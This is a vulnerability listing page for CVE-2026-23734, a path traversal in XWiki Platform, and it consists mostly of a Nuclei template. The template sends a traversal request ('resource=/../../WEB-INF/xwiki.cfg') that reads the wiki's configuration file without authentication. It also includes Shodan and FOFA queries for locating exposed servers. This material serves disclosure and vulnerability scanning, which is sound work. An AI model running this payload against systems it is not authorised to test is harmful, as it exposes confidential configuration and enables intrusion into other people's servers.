CVE-2026-23734: XWiki Platform - Path Traversal

2026-11-29 PoC Public

Description

XWiki Platform < 18.1.0-rc-1, 17.10.3, 17.4.9, 16.10.17 contains a path traversal caused by improper validation of resource parameter in ssx and jsx endpoints, letting attackers read configuration files remotely, exploit requires crafted URL with leading slashes.

Details

CVE
CVE-2026-23734 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-23734

info:
  name: XWiki Platform - Path Traversal
  author: s4e-io
  severity: critical
  description: |
    XWiki Platform < 18.1.0-rc-1, 17.10.3, 17.4.9, 16.10.17 contains a path traversal caused by improper validation of resource parameter in ssx and jsx endpoints, letting attackers read configuration files remotely, exploit requires crafted URL with leading slashes.
  impact: |
    Attackers can read sensitive configuration files, potentially exposing critical system information.
  remediation: |
    Update to versions 18.1.0-rc-1, 17.10.3, 17.4.9, or 16.10.17 or later.
  reference:
    - https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-xq3r-2qv5-vqqm
    - https://github.com/xwiki/xwiki-commons/commit/5cf6cb7
    - https://jira.xwiki.org/browse/XCOMMONS-3547
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23734
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-23734
    epss-score: 0.01683
    epss-percentile: 0.77403
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 3
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2026,xwiki,lfi,path-traversal,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "xwiki")'
        condition: and
        internal: true

  - raw:
      - |
        GET /xwiki/bin/ssx/Main/WebHome?resource=/../../WEB-INF/xwiki.cfg&minify=false HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /bin/ssx/Main/WebHome?resource=/../../WEB-INF/xwiki.cfg&minify=false HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/css")'
          - 'contains_all(body, "xwiki.encoding=", "xwiki.plugins=", "com.xpn.xwiki.plugin.skinx")'
        condition: and
# digest: 4a0a0047304502207195d4c747b6f2e0bd94ce281221ea1bbfa9a33b8734cdaf8de9e5479c104f6f022100b9c49c7d0c1de6f583b20177de35d87964c7ad6fee7f6ab0075679cfa04133e3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life